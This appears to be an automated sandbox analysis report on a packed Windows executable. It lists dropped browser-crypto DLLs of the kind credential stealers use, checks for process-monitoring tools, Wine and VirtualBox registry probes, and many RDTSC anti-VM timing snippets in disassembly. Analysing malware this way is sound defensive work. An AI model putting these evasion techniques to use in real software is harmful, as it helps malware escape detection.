Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2660438360.000000006CC5F000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.570000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qjfwfzym:EW;mmzyrysa:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qjfwfzym:EW;mmzyrysa:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA23480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CA23480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x21b931 should be: 0x2157af

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qjfwfzym
Source: file.exe	Static PE information: section name: mmzyrysa
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA5B536 push ecx; ret

0_2_6CA5B549

Source: file.exe

Static PE information: section name: qjfwfzym entropy: 7.953652155479006

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA855F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CA855F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E6AF second address: 85E6B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E6B3 second address: 85E6B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6A5D second address: 9E6A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B559C4C7h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9B0F second address: 9D9B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5C23 second address: 9E5C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F29B559C4C2h 0x0000000d jno 00007F29B559C4B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5C43 second address: 9E5C54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5C54 second address: 9E5C9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C7h 0x00000007 jmp 00007F29B559C4C5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007F29B559C4C2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5C9B second address: 9E5CD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F29B51F62D3h 0x0000000e ja 00007F29B51F62E0h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6392 second address: 9E63BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F29B559C4C4h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 je 00007F29B559C4B6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E63BA second address: 9E63CE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F29B51F62C8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F29B51F62C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E63CE second address: 9E63D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7DA9 second address: 9E7DD5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F29B51F62CCh 0x00000008 jbe 00007F29B51F62C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jmp 00007F29B51F62D5h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7DD5 second address: 9E7E62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b add dh, 00000065h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F29B559C4B8h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a jmp 00007F29B559C4BAh 0x0000002f push ebx 0x00000030 jc 00007F29B559C4BCh 0x00000036 mov ecx, dword ptr [ebp+122D2CC6h] 0x0000003c pop esi 0x0000003d call 00007F29B559C4B9h 0x00000042 jbe 00007F29B559C4C2h 0x00000048 jo 00007F29B559C4BCh 0x0000004e jp 00007F29B559C4B6h 0x00000054 push eax 0x00000055 jmp 00007F29B559C4C8h 0x0000005a mov eax, dword ptr [esp+04h] 0x0000005e push eax 0x0000005f push edx 0x00000060 push edi 0x00000061 jbe 00007F29B559C4B6h 0x00000067 pop edi 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7F47 second address: 9E7FD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F29B51F62C8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 push 00000000h 0x00000027 xor edx, dword ptr [ebp+122D2B8Eh] 0x0000002d push ecx 0x0000002e or dword ptr [ebp+122D26C7h], ecx 0x00000034 pop ecx 0x00000035 push A2F83F5Fh 0x0000003a push edx 0x0000003b push ebx 0x0000003c jg 00007F29B51F62C6h 0x00000042 pop ebx 0x00000043 pop edx 0x00000044 add dword ptr [esp], 5D07C121h 0x0000004b mov dl, al 0x0000004d push ecx 0x0000004e jmp 00007F29B51F62CFh 0x00000053 pop esi 0x00000054 push 00000003h 0x00000056 and edx, 21869BB1h 0x0000005c push 00000000h 0x0000005e call 00007F29B51F62CAh 0x00000063 mov dword ptr [ebp+122D2708h], edi 0x00000069 pop edx 0x0000006a push 00000003h 0x0000006c mov cx, A372h 0x00000070 push E6EBB341h 0x00000075 push edi 0x00000076 pushad 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E809C second address: 9E80A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E80A2 second address: 9E80E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 551CC3D7h 0x00000012 push 00000003h 0x00000014 sub si, D167h 0x00000019 push 00000000h 0x0000001b xor esi, 6EE8B407h 0x00000021 push 00000003h 0x00000023 or edx, dword ptr [ebp+122D2D2Ah] 0x00000029 push 91E1DF0Ch 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E80E0 second address: 9E80E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0A7C1 second address: A0A7D5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F29B51F62C6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F29B51F62C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0872A second address: A0872E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0872E second address: A08738 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F29B51F62C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A089D7 second address: A089DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A089DC second address: A089E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A094B5 second address: A094BB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A094BB second address: A094C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A094C9 second address: A094CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A094CD second address: A094D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A09615 second address: A09630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B559C4C6h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A09630 second address: A0963C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jno 00007F29B51F62C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE7E2 second address: 9FE7E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE7E6 second address: 9FE810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F29B51F62D5h 0x0000000b jmp 00007F29B51F62CCh 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A098DF second address: A098E5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A098E5 second address: A098EA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A098EA second address: A09906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F29B559C4C1h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0A1DB second address: A0A214 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F29B51F62D4h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F29B51F62D9h 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A111F6 second address: A11200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F29B559C4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10089 second address: A10093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F29B51F62C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14EEA second address: A14EEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14EEF second address: A14F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B51F62CFh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14F10 second address: A14F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14F14 second address: A14F18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6536 second address: 9D6545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jbe 00007F29B559C4BCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A143C6 second address: A143CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A143CA second address: A143D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14696 second address: A1469F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1469F second address: A146A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14C01 second address: A14C0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14C0D second address: A14C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14C11 second address: A14C26 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F29B51F62C8h 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16B1E second address: A16B24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17660 second address: A17665 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17739 second address: A1773F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A853 second address: A1A865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A865 second address: A1A86B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A86B second address: A1A871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A871 second address: A1A875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A875 second address: A1A8D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F29B51F62C8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D316Ch], ecx 0x0000002c add edi, 13B01EAFh 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 add esi, 6A3FDFACh 0x0000003b pop edi 0x0000003c push 00000000h 0x0000003e xor edi, 0702A87Eh 0x00000044 sub dword ptr [ebp+122D2FF8h], ecx 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f push ecx 0x00000050 pop ecx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A8D7 second address: A1A8EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A8EC second address: A1A8F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B087 second address: A1B08D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B08D second address: A1B091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BD43 second address: A1BD47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BD47 second address: A1BDA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov di, F722h 0x0000000e mov dword ptr [ebp+122D26E3h], eax 0x00000014 push 00000000h 0x00000016 mov di, D252h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F29B51F62C8h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 mov esi, dword ptr [ebp+122D1C3Dh] 0x0000003c xchg eax, ebx 0x0000003d jmp 00007F29B51F62D3h 0x00000042 push eax 0x00000043 push ecx 0x00000044 push eax 0x00000045 push edx 0x00000046 push esi 0x00000047 pop esi 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23D82 second address: A23D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0711 second address: 9E0715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0715 second address: 9E074B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B559C4BAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F29B559C4BEh 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F29B559C4C5h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2826A second address: A2827F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F29B51F62CBh 0x0000000f rdtsc
